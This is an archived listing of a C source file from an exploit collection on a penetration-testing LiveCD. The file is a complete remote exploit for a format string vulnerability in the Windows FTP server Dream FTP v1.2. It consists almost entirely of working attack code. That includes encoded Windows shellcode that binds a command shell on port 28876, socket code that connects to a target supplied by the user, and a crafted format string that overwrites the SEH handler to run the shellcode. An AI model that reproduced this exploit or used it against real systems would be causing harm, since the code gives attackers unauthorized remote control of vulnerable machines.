home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / dreamftp / dreamFTPNightmare.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  97 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5.  
  6. // WIN NT/2K/XP cmd.exe shellcode
  7. // kernel32.dll baseaddress calculation: OS/SP-independent
  8. // string-save: 00, 0a and 0d free.
  9. // portbinding: port 28876
  10. // looping: reconnect after disconnect
  11. char* shellcode = 
  12.   "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  13.   "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  14.   "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  15.   "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  16.   "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  17.   "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  18.   "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  19.   "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  20.   "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  21.   "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  22.   "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  23.   "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  24.   "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
  25.   "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
  26.   "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
  27.   "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
  28.   "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
  29.   "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
  30.   "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
  31.   "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
  32.   "\x83\xc4\x5c\x61\xeb\x89";
  33.  
  34. int main(int argc, char *argv[], char *envp[]) {
  35.   int sock;
  36.   FILE* FILEsock;
  37.   struct sockaddr_in addr;
  38.   int port = 21;
  39.   char buffer[1024];
  40.  
  41.   if (argc<2 || argc>3) {
  42.     printf("Usage: %s IP [PORT]\n", argv[0]);
  43.     exit(-1);
  44.   }
  45.   if (argc == 3) port = atoi(argv[2]);
  46.  
  47.   printf("- Nightmare --------------------------------------------------\n"
  48.          "  Dream FTP v1.2 formatstring exploit.\n"
  49.          "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n"
  50.          "  Credits for the vulnerability go to badpack3t\n"
  51.          "                           <badpack3t@security-protocols.com>.\n"
  52.          "  Shellcode based on work by H D Moore (www.metasploit.com).\n"
  53.          "  Greets to everyone at 0dd and #netric.\n"
  54.          "  (K)(L)(F) for Suzan.\n"
  55.          "\n"
  56.          "  Binds a shell at %s:28876 if successfull.\n"
  57.          "  Tested with: WIN2KEN/Dream FTP v1.2 (1.02/TryFTP 1.0.0.1)\n"
  58.          "--------------------------------------------------------------\n",
  59.          argv[1]);
  60.  
  61.   addr.sin_family = AF_INET;
  62.   addr.sin_port = htons(port);
  63.   addr.sin_addr.s_addr = inet_addr(argv[1]);
  64.  
  65.   if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ||
  66.       connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1 ||
  67.       (FILEsock = fdopen(sock, "r+")) == NULL) {
  68.     fprintf(stderr, "\n[-] Connection to %s:%d failed: ", argv[1], port);
  69.     perror(NULL);
  70.     exit(-1);
  71.   }
  72.  
  73.   printf("\n[+] Connected to %s:%d.\n", argv[1], port);
  74.   do printf("  --> %s", fgets(buffer, sizeof buffer, FILEsock));
  75.     while (strstr(buffer, "220-") == buffer);
  76.  
  77.   printf("\n[+] Sending exploit string...\n");
  78.   fprintf(FILEsock,
  79.     // Argument 10 points to the SEH handler code, it's RWE so we'll change
  80.     // the SEH handler to redirect execution to the beginning of our
  81.     // formatstring. When the SEH handler is called [ebx+0x3c] points
  82.     // to the start of our formatstring, we just have to jump over the
  83.     // formatstring exploit itself to our shellcode:
  84.     "\xeb\x29" // Jump over the formatstring exploit
  85.     "%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%%dd%%n"     // Argument 10 -> SEH
  86.     "%%n" // Causes exception after SEH adjustment.
  87.     "@@@@@@@@" // nopslide landing zone for jump
  88.     "%s\r\n", // shellcode
  89.     0x3C63FF-0x4f, // New SEH code = 0x3C63FF (jmp *0x3c(%ebx) | jmp [EBX+0x3C])
  90.     shellcode);
  91.   fflush(FILEsock); 
  92.   close(sock);
  93.   printf("\n[+] Done, allow a few seconds on a slow target before you can\n"
  94.            "    connect to %s:28876.\n", argv[1]);
  95.   return 0;
  96. }
  97.